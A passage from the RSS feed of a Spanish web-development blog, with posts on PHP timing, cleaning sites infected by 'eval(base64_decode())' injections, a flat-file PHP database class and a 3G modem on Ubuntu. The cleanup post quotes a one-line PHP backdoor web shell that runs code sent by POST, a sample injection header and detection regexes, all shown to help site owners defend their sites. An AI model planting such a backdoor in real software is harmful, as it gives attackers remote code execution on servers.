#FF8000"&gt;//&amp;nbsp;se&amp;nbsp;supone&amp;nbsp;que&amp;nbsp;esto&amp;nbsp;es&amp;nbsp;lo&amp;nbsp;que&amp;nbsp;consume&amp;nbsp;muchos&amp;nbsp;recursos&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$time_fin&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;_microtime&lt;/span&gt;&lt;span style="color: #007700"&gt;();&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"Procesado&amp;nbsp;en:&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;round&lt;/span&gt;&lt;span style="color: #007700"&gt;((&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$time_fin&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$time_ini&lt;/span&gt;&lt;span style="color: #007700"&gt;),&lt;/span&gt;&lt;span style="color: #0000BB"&gt;2&lt;/span&gt;&lt;span style="color: #007700"&gt;).&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;nbsp;segs."&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;function&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;_microtime&lt;/span&gt;&lt;span style="color: #007700"&gt;(){&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;0.41494500&amp;nbsp;1291000531&amp;nbsp;-&amp;gt;&amp;nbsp;1291000531.41494500&lt;br /&gt;&lt;b style='color:#888!important;'&gt;11&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;list(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$usec&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$sec&lt;/span&gt;&lt;span style="color: #007700"&gt;)&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;explode&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;microtime&lt;/span&gt;&lt;span style="color: #007700"&gt;());&lt;br /&gt;&lt;b style='color:#888!important;'&gt;12&lt;/b&gt;&amp;nbsp;&amp;nbsp;return&amp;nbsp;((float)&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$usec&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;+&amp;nbsp;(float)&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$sec&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;13&lt;/b&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;b style='color:#888!important;'&gt;14&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;15&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;             &lt;br /&gt;&lt;br /&gt;Es decir, en lugar de usar la función nativa de PHP &lt;b&gt;microtime()&lt;/b&gt; construimos una llamada &lt;b&gt;_microtime()&lt;/b&gt;, porque la salida de la primera es un tanto especial (véase la primera línea comentada de la función que definimos).</description><link>http://crear-paginas-web.blogspot.com/2010/11/medir-consumo-de-ram-y-tiempo-para.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>6</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-2508552997278161968</guid><pubDate>Sun, 25 Apr 2010 04:28:00 +0000</pubDate><atom:updated>2013-01-04T10:45:48.687-07:00</atom:updated><title>Archivos PHP hackeados con eval(base64_decode())</title><description>&lt;span style="color: #009900;"&gt;Te interesa este artículo si acabas de descubrir con estupor que los archivos de PHP de tu Wordpress, o OSCommerce, o cualquier CMS PHP han sido reescritos "mágicamente" (obviamente por un código malicioso), y al inicio presentan una línea como ésta:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="background-color: #dddddd; border: 1px solid rgb(50, 50, 100); color: #111111; padding: 11px;"&gt;
&amp;lt;?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZ... ...9fX0=')); ?&amp;gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: 130%; font-weight: bold;"&gt;Escenario&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Se trata de una "&lt;span style="font-weight: bold;"&gt;inyección de código PHP&lt;/span&gt;" codificado en&lt;span style="font-weight: bold;"&gt; base64&lt;/span&gt; que normalmente se extiende a TODOS los archivos PHP que tengas en ese dominio! como lo oyes, increíble, no?&lt;br /&gt;
&lt;br /&gt;
No es difícil decodificar la base64, y encontrarás un centenar de sitios web en donde explican cómo hacerlo. Pero resumidamente esa "&lt;span style="font-style: italic;"&gt;cabecera&lt;/span&gt;" inyectada en tus archivos PHP es capaz de leer todo tu sistema de archivos y enviar esa información a quien dejó la "&lt;span style="font-style: italic;"&gt;semilla&lt;/span&gt;".&lt;br /&gt;
&lt;br /&gt;
No he leído en profundidad sobre el origen de este hackeo, aunque sí he leído que se remonta al menos al año 2001!!! Además, si decodificas el mensaje en base64 verás que es a su vez un código PHP que llama a otro archivo de nuevo con codificación en base64, que suele ser un archivo perdito en el árbol de directorios, normalmente una "&lt;span style="font-style: italic;"&gt;falsa hoja de estilos en PHP&lt;/span&gt;" del skin o del theme de algún plugin de algún componente de tu CMS (el editor HTML, por ejemplo). Como que estos componentes suelen ser opensource, alguien con malicia puede intentar colar un código de hackeo fácilmente de esta forma (entre los estilos, de un skin, de un plugin...).&lt;br /&gt;
&lt;br /&gt;
En mi caso lo descubrí en:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="background-color: #dddddd; border: 1px solid rgb(50, 50, 100); color: #111111; padding: 11px;"&gt;
/var/www/sites/myuser/mydomain.com/subdomains/www/html/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Si quieres saber qué dice tu código en base64 usa esta web:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.motobit.com/util/base64-decoder-encoder.asp" target="_blank"&gt;http://www.motobit.com/util/base64-decoder-encoder.asp&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
marca la opción: "decode the data from a Base64 string (base64 decoding)" y pulsa en el botón "convert the source data".&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: 130%; font-weight: bold;"&gt;Limpieza automatizada&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
En mi caso me bastó con limpiar esas inyecciones de PHP de mis archivos. Y como eran más de un centenar... pues necesitaba un script que automatizara esa limpieza. Y bueno, buscando un poco encontré un script que aproveché para mejorar y que podéis descargar aquí:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://imasdeweb.com/opensource/search_and_replace/search_and_replace.php.zip" target="_blank"&gt;http://imasdeweb.com/opensource/search_and_replace/search_and_replace.php.zip&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;¿Cómo funciona?&lt;/span&gt;&lt;br /&gt;
&lt;ol&gt;&lt;br /&gt;
&lt;li&gt;debes colocarlo en la raíz de tu dominio y llamarlo desde el navegador&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;hará una exploración recursiva de TODOS los directorios y subdirectorios buscando archivos con extensión PHP, HTML o HTM.&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;mirará dentro de cada archivo buscando mediante una expresión regular si hay algo como lo que puse arriba ("&lt;span style="color: #009900; font-style: italic;"&gt;/eval\(base64_decode\(\'[A-Za-z0-9\=\/\+]+\'\)\);/&lt;/span&gt;")&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;si encuentra ese código, primero hará un backup de ese archivo (por si quieres deshacer los cambios... que lo dudo) añadiéndole la extensión "_hackedcopy"&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;por último, quitará del archivo el código malicioso&lt;/li&gt;
&lt;br /&gt;
&lt;li&gt;además, mostrará por pantalla el listado completo (y sangrado!!!) de los archivos revisados marcando los infectados (rojo) y los limpios (verde)&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
En fin, estoy seguro que a más de uno le va a "salvar la vida". Aunque bien bien, no sé los efectos de tener ese código infectando tus archivos... Si alguien sabe algo, podría resumirlo en un comentario ;)&lt;br /&gt;
&lt;br /&gt;
Y si alguien le hace más mejoras, pues me presto a actualizar la versióna actual :))&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Editado en 24 May 2011:&lt;br /&gt;&lt;/span&gt;Gracias a un comentarista, Henry, hemos descubierto que el cógido malicioso en base64 que infecta nuestros archivos puede estar delimitado por comillas simples (') como en el ejemplo que pongo en el artículo, o por comillas dobles (como le sucedió a Henry).&lt;br /&gt;
&lt;br /&gt;
Si ese es tu caso, debes modificar la línea 86 del script de búsqueda y limpieza y poner esta otra expresión regular que usa comillas dobles ;)&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #009900; font-style: italic;"&gt;"/eval\(base64_decode\(\"[A-Za-z0-9\=\/\+]+\"\)\);/"&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Editado en 10 Octubre 2011:&lt;br /&gt;&lt;/span&gt;Otro comentarista, Fco., nos ha hecho una valiosa aportación: nos ha proporcionado una expresión regular que cubre ambos casos, es decir, el de las comillas simples y el de las comillas dobles, y además tiene en cuenta posibles espacios en blanco! Excelente! jejejeje... es de esas cosas que nunca he sabido hacer: jugar con las expresiones regulares.&lt;br /&gt;
&lt;br /&gt;
Ya modifiqué el script para descarga. Gracias Fco.&lt;br /&gt;
Os pongo aquí la expresión que Fco. ha construido:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #009900; font-style: italic;"&gt;$needle = '/[\s]+eval\(base64_decode\(["\'][A-Za-z0-9\=\/\+]+["\']\)\);/';&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Editado en 5 Marzo 2012:&lt;br /&gt;&lt;/span&gt;Otro
 comentarista, Romina, ha preguntado cómo sería posible eliminar todos esos archivos con el sufijo "_hackedcopy" que el script de limpieza ha generado. Porque la verdad sea dicha, al cabo de un mes de prudente distancia, ya podemos limpiar nuestro sistema de archivos de esas copias "contaminadas". En realidad son inocuas (=inofensivas) porqué no tienen la exetensión .php, pero en fin... ocupan espacio innecesariamente!&lt;br /&gt;
&lt;br /&gt;
Para algun@s amantes de la consola linux la solución más fácil es usar un comando shell como éste que nos ha regalado un visitante anónimo:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #009900; font-style: italic;"&gt;for i in `find . -name '*_hackedcopy'`;do rm $i; done&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f4f4f4; color: black; display: inline !important; float: none; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16px; orphans: 2; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="background-color: #f4f4f4; color: black; display: inline ! important; float: none; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16px; orphans: 2; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
no soy un experto en linux, pero parece que debería funcionar. Tampoco lo he probado. Se agradecerá comentarios de quien lo pruebe ;)&lt;br /&gt;
&lt;br /&gt;
Por otra parte, dado que a veces nuestro proveedor de hospedaje no nos proporciona acceso SSH al servidor o bien en el panel de hosting no hay una sección en donde ejecutar comandos de consola (`shell`), he programado un nuevo script&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #009900; font-style: italic;"&gt;remove_copies.php &lt;/span&gt;&lt;span style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f4f4f4; color: black; display: inline !important; float: none; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16px; orphans: 2; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
que he añadido al archivo ZIP para descarga de este artículo, que hará esa eliminación simplemente llamándolo desde el navegador, previamente habiéndolo colocado por FTP en la raíz del directorio que queremos "limpiar". Tranquilos, lo único que hace es: buscar recursivamente archivos con el sufijo '_hackedcopy' y los elimina. Para mayor control del asunto, el script saca por pantalla el listado de archivos eliminados y el número de directorios/archivos escaneados.&lt;br /&gt;
&lt;br /&gt;
&lt;p&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Editado en 5 Nov 2012:&lt;br /&gt;&lt;/span&gt;Después de varios meses de recibir comentarios (se pueden leer debajo del artículo) creo interesante completar este artículo con los siguientes datos y trucos resaltados por algunos comentaristas:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;Javier 3VS nos recuerda que podemos cambiar la línea 37 del script de localización de código mailicioso para detectar buscar en otros tipos de archivo que los propuestos inicialmente, puesto que resulta que estas inyecciones también suceden por ejemplo en archivos de javascript!!! (extensiones .js)&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#060;"&gt;$a_ext=array('php','html','htm','&lt;b&gt;js&lt;/b&gt;');&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;Por supuesto, estas inyecciones de código en archivos de javascript ya no van a ejecutarse en el servidor sino en el navegador de los visitantes de nuestra web, así que podéis imaginar que la expresión inyectada es diferente y por tanto hemos de ajustar la expresión regular del script que es usada para encontrar estos códigos!!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Para ayudarnos en el ajuste de esta expresión regular, Javier 3VS nos comparte el siguiente enlace en el que podemos JUGAR EN TIEMPO REAL con expresiones regulares para ver si funcionarán o no con nuestro código de muestra!!!&lt;/b&gt; genial, no?!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://gskinner.com/RegExr/?32kag" target="_blank"&gt;http://gskinner.com/RegExr/?32kag&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;otro comentarista, &lt;b&gt;Almo&lt;/b&gt; nos comparte detalladamente como hizo para buscar, encontrar, limpiar y mejorar su seguridad para el futuro. Creo que puede interesar a más de uno leer &lt;a href="#c8720582746685253454"&gt;su explicación&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Lo más interesante a destacar de su explicación creo yo es que él encontró la semilla en forma de un archivo &lt;b&gt;/images/post.php&lt;/b&gt; (lástima que no indique de qué CMS) en el que éste código recibe por POST cualquier código PHP que se le quiera pasar y LO EJECUTA!!! imaginen que desastre si alguien tiene un acceso así a nuestro servidor :(&lt;br /&gt;&lt;br /&gt;
&lt;span style="color:#c00;"&gt;if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Editado en 4 Ene 2013: [JOOMLA]&lt;br /&gt;&lt;/span&gt;Gracias a José tenemos nueva información útil para los usuarios de Joomla:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;en su caso dice que la infección estaba en la carpeta "images", en forma de dos ficheros php (feeback.php y script.php)&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;después de limpiar el código de su web ha seguido las medidas de seguridad propuestas en este artículo:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.siteground.com/tutorials/joomla15/joomla_security.htm" target="_blank"&gt;http://www.siteground.com/tutorials/joomla15/joomla_security.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;el documento es de lectura recomendada para todos los usuarios de Joomla, pero yo lo recomendaría para todo el mundo, y Jose lo resume así: he cambiado los prefijos de las tablas, he denegado el acceso a los ficheros php, salvo a los dos index principales de mi sitio joomla, y he protegido la carpeta "Administrator" desde mi panel de administración (en realidad es un htaccess).&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Por cierto, Jose también descubrió cuál era la finalidad del ataque: cuando la gente veía su web en el buscador Google todo parecía normal, pero cuando pulsaban en el enlace eran redirigidos a páginas de terceros, habitualmente porno.&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;En fin feliz búsqueda, captura y eliminación! ;)&lt;br /&gt;Y si en tu lucha encuentras algo nuevo que aquí no hayamos dicho y pueda servir, añádelo en los comentarios... yo me encargo de incorporarlo al artículo o al script si es suficientemente de interés general.&lt;/p&gt;
&lt;p&gt;
Un saludo!&lt;br /&gt;
SERGI&lt;/p&gt;</description><link>http://crear-paginas-web.blogspot.com/2010/04/archivos-php-hackeados-con.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>174</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-3384595231852287181</guid><pubDate>Mon, 05 Oct 2009 04:18:00 +0000</pubDate><atom:updated>2011-03-26T14:09:28.870-07:00</atom:updated><title>class_SRR_database_sim :: mi base de datos en PHP</title><description>&lt;span style="color: rgb(0, 153, 0);"&gt;Hacía mucho tiempo que quería compartir con vosotros mi "clase de base de datos" que llevo trabajándome en PHP desde hace ya 3 años largos! La idea nació de la necesidad de almacenar información para una aplicación web de un amigo sin poder usar MySQL ni otro tipo de base de datos tradicional, porque su plan de hosting era el más básico :S&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por fin, después de este tiempo, la base de datos ya está más o menos madura como para compartirla con otros. Lo que más me ha costado es darle propiedades de no "corruptibilidad" por coincidencia de dos threads PHP sobre la misma tabla de datos. Es decir, que ahora por fin la base de datos bloquea el acceso de lectura/escritura cuando algún "thread" está ESCRIBIENDO sobre alguna tabla. De esta forma no puede ocurrir que alguien empiece a leer una tabla cuando alguien la tiene a "medio escribir". Lo cuál aunque parezca muy improbable, empieza a volverse probable en cuanto la base de datos aumenta de tamaño ;)&lt;br /&gt;&lt;br /&gt;Queda mucho por hacer, así que la he colgado como proyecto opensource en INDEFERO. Aquí tenéis los enlaces:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://imasdeweb.com/opensource/php_SRR_database_sim/demo" target="_blank"&gt;[DEMO] &lt;span style='font-size:10px;'&gt;http://imasdeweb.com/opensource/php_SRR_database_sim/demo&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://imasdeweb.indefero.net/p/class-SRR-database-sim" target="_blank"&gt;[HOMEPAGE] &lt;span style='font-size:10px;'&gt;http://imasdeweb.indefero.net/p/class-SRR-database-sim&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://imasdeweb.indefero.net/p/class-SRR-database-sim/doc" target="_blank"&gt;[DOC] &lt;span style='font-size:10px;'&gt;http://imasdeweb.indefero.net/p/class-SRR-database-sim/doc&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sois programadores y ya sabéis que cualqueir software siempre es mejorable, pero en fin, si no publico nunca ninguna versión el progreso de la misma irá tan lento como hasta ahora. Y confío que ahora una vez que alguien empieza a descargarla y usarla pueda tener feedbacks constructivos :))&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resúmen de características&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="color: rgb(102, 102, 102);"&gt;&lt;li&gt;No requiere en el servidor más que tener PHP instalado&lt;/li&gt;&lt;li&gt;Para empezar a usarla solo hay que copiar el directorio de la base de datos en donde más te convenga y tantas "instancias" como quieras.&lt;/li&gt;&lt;li&gt;Ocupa muy poco. Estando vacía menos de 50kb.&lt;/li&gt;&lt;li&gt;Lleva un archivo admin3.php al que puedes llamar para gestionar tu base de datos de forma básica online (al estilo phpmyadmin pero muuuuuho más humilde, jejejeje).&lt;/li&gt;&lt;li&gt;Los registros de cada tabla se almacenan en un archivo de texto plano en el mismo directorio, con lo cuál solo necesitas darle permisos de escritura al directorio ;)&lt;/li&gt;&lt;li&gt;La clase ofrece toda una serie de sencillos métodos del tipo: crear/modificar/eliminar tabla y crear/modificar/seleccionar/eliminar registros&lt;/li&gt;&lt;li&gt;Los campos de cada tabla pueden contener ilimitados caracteres (olvídate por fin de definir tipo y longitud de campo).&lt;/li&gt;&lt;li&gt;Las consultas (o "queries") no se escriben como en SQL en una cadena de texto y un chingo de comillas, sino que son llamadas parametrizadas usando siempre arrays ;)&lt;/li&gt;&lt;li&gt;Hacer un backup o migrar a otro hosting es tan fácil y rápido como "copiar y pegar el directorio"&lt;/li&gt;&lt;li&gt;Como no es necesario ejecutar un segundo servidor (por ejemplo el de MySQL) sino solamente leer y escribir en archivos de texto plano desde el PHP, la velocidad de respuesta es rapidísima (comparada con MySQL) para tablas con menos de 5.000 registros&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cosas que no tiene&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="color: rgb(102, 102, 102);"&gt;&lt;li&gt;índices&lt;/li&gt;&lt;li&gt;vínculos entre tablas&lt;/li&gt;&lt;li&gt;(un montón de cosas... jejejeje)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;En fin, espero que lo pruebes y me digas qué te pareció. Y bueno, si además eres programador... bueno, una ayudita estaría genial!!! Sinceramente, aunque nadie más ponga ni una línea de código en este proyecto, ya estoy muy contento de compartir por primera vez algo realmente mío :)))) le debo tanto a la comunidad de programadores en general... !!!! me siento bien retornando algo de mi parte.&lt;br /&gt;&lt;br /&gt;Por cierto, esta clase de base de datos es la que utilizo como pilar de mi CMS, el cuál llevo construyendo y utilizando desde hace también 3-4 años! muy prontito también lo publicaré como opensource, porque considero que a alguien le puede ir bien. Un CMS más, verdad?! jajajaja... pero en fin.. no os lo creeréis, pero ninguno de los CMS que habían en aquel entonces me venían bien! o eran muy complicados para el programador (si necesitaba hacer cambios en la funcionalidad del mismo) o bien tenían un panel de administración bastante complejo para el nivel de mis clientes. Conclusión: acabé programando mi propio CMS. La ventaja: si necesito cualquier cambio lo tengo en un instante. Y si aparece algún bug, enseguida sé de dónde viene ;)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Websites funcionando que usan mi CMS y la susodicha base de datos&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para que veáis que tanto la base de datos como el CMS funcionan a las mil maravillas, aquí os dejo el enlace a unas cuantas de mis páginas que los usan. Y las dos primeras os puedo asegurar que tienen tablas con más de 1.000 registros!&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.supertransfers.com/" target="_blank"&gt;http://www.supertransfers.com&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://fundaciomontblanc.org/colonies" target="_blank"&gt;http://fundaciomontblanc.org/colonies&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://dracdor.es/" target="_blank"&gt;http://dracdor.es&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Un saludo!!&lt;br /&gt;SERGI&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Actualizaciones posteriores&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;versión 3.2 (3-NOV-2009): se corrigió un error en el método de DELETE_TABLE, y se añadieron unos archivos (test.htm y test.php) para hacer benchmark de acceso simultaneo desde diferentes navegadores (solo para uso de desarrollo de la clase).&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;...&lt;/li&gt;&lt;br /&gt;&lt;li&gt;versión 5.0 (17-FEB-2011): nuevas funciones de IMPORTACIÓN/EXPORTACIÓN de tablas (internamente, para cambios de versión de la clase o para migrar datos de un site a otro, etc); nuevas funciones de REGISTRO (o LOG) de escritura y/o lectura! (útil para debugeo de vuestra aplicación web: conocer qué operaciones se han estado realizando y cuando, y cuánto tiempo llevaron. Más adelante le añadiremos funciones de recuperación de datos)&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;para seguir la evolución del proyecto, mejor es visitar el LOG oficial del mismo: en &lt;a href='http://imasdeweb.indefero.net/p/class-SRR-database-sim/page/0-LOG-version/' target='_blank'&gt;INDEFERO&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</description><link>http://crear-paginas-web.blogspot.com/2009/10/classsrrdatabasesim-mi-base-de-datos-en.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>15</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-580568948619972290</guid><pubDate>Sun, 20 Sep 2009 05:00:00 +0000</pubDate><atom:updated>2011-11-27T15:00:14.012-07:00</atom:updated><title>modem 3G Nokia CS-10 en Ubuntu</title><description>&lt;span style="color: rgb(0, 153, 0);"&gt;El primer modem 3G de Nokia fue el Nokia Internet Stick CS-10, y según ponen en sus especificaciones (http://europe.nokia.com/find-products/accessories/all-accessories/home-and-office/imaging/nokia-internet-stick-cs-10), no es compatible con Linux. Sin embargo, eso no es cierto: yo he podido instalarlo después de leer y buscar por internet un día entero, y hacer mil y una pruebas.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-weight: bold; color: rgb(204, 0, 0);"&gt;&lt;u&gt;Atención:&lt;/u&gt; estos pasos de configuración no funcionan en Ubuntu 9.10, aunque sí en versiones anteriores... paradójicamente! Ando buscando solución para 9.10, pero si alguien ya la encontró o la encuentra... por favor, que haga el esfuerzo de comentar cómo lo consiguió o que deje el enlace en dónde encontró la solución ;)&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Actualización 27 Nov-2011:&lt;/u&gt; otro amable lector -Alberto- nos ha dejado otra buena noticia:&lt;br /&gt;&lt;br /&gt;"&lt;span style="color: rgb(0, 102, 0);"&gt;Ubuntu 11.04 con telcel no tienes que hacer nada solo entrar en  preferencias -&amp;gt; Conexiones de red (network manager) y click en  añadir, sigues los pasos con los valores por defecto seleccionando  telcel y listo ya puedes ver en el icono de redes le das conectar y  listo. &lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51); font-weight: normal;"&gt;La verdad es que yo -como usuario- hace ya más de un año que no uso el stick USB para conectarme. En realidad lo usé muy poco... jejeje, a pesar de todo el trabajo que me dió configurarlo! &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51); font-weight: normal;"&gt;Ahora mismo, hace 3 semanas, compré un Samsung Galaxy Ace -con Android- que creo que si le activo un plan de datos 3G puedo usarlo como "modem-router" wifi para mis Pcs/laptops!!! (tethering). Tengo que investigarlo, probarlo y publicar una guía si es así ;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Actualización 30 Abr-2011:&lt;/u&gt; un amable lector nos ha dejado este mensaje que supongo todos los usuarios de Ubuntu celebramos&lt;br /&gt;&lt;br /&gt;"&lt;span style="color: rgb(0, 102, 0);"&gt;El tema ya es viejo, las nuevas versiones de ubuntu 10.10 en adelante  reconocen este dispositivo automaticamente, solo es cuestion de  configurarlo.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;Yo solo di click derecho en agregar conexiones,  dispositivo nokia internet stick cs10, pais mexico, operador telcel,  aceptar y listo.&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;Una gran noticia, no?&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Sé que la temática de este artículo se sale de la habitual en mi blog (desarrollo web), así que espero que mis lectores habituales me perdonen por incluirlo, pero he visto imprescindible hacerlo porque me ha llevado muchas horas gastadas para hacer algo tan sencillo, y creo que debe ser compartido. Y este blog es mi principal "ventana al mundo" ;)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 153);"&gt;Principal problema: 